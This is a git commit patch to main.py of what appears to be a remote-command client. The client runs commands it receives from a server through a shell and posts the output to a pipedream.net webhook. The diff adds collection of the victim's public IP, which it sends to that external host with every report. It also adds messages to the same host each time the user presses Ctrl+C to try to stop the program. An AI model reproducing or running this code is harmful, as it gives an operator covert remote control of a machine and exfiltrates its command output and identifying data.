From ba12c5ae5ec3d9d36829ea39464d049abed9bf23 Mon Sep 17 00:00:00 2001 From: littleblack111 Date: Tue, 15 Aug 2023 23:10:59 +0800 Subject: updated --- main.py | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) (limited to 'main.py') diff --git a/main.py b/main.py index 1adeb38..1ae8581 100644 --- a/main.py +++ b/main.py @@ -5,7 +5,11 @@ try: old_command = "" command = "" + + ip = get('https://api.ipify.org').content.decode('utf8') + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"IP: {ip}") except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when init") pass while True: @@ -18,6 +22,7 @@ while True: sleep(5) continue except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) with sleeping(cuz of discord api timeout)") continue except: print("Failed to connect to server") @@ -28,8 +33,9 @@ while True: cmdout = system(command, shell=True) if cmdout != "": try: - post("https://eo482aoknyxae8c.m.pipedream.net/", data=cmdout) + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: {cmdout}") except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C) when trying to post output") continue except: print("Failed to sent output") @@ -41,6 +47,8 @@ while True: try: sleep(0.1) except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)") continue except KeyboardInterrupt: + post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: User tried to SIGINT(Ctrl+C)") continue -- cgit v1.2.3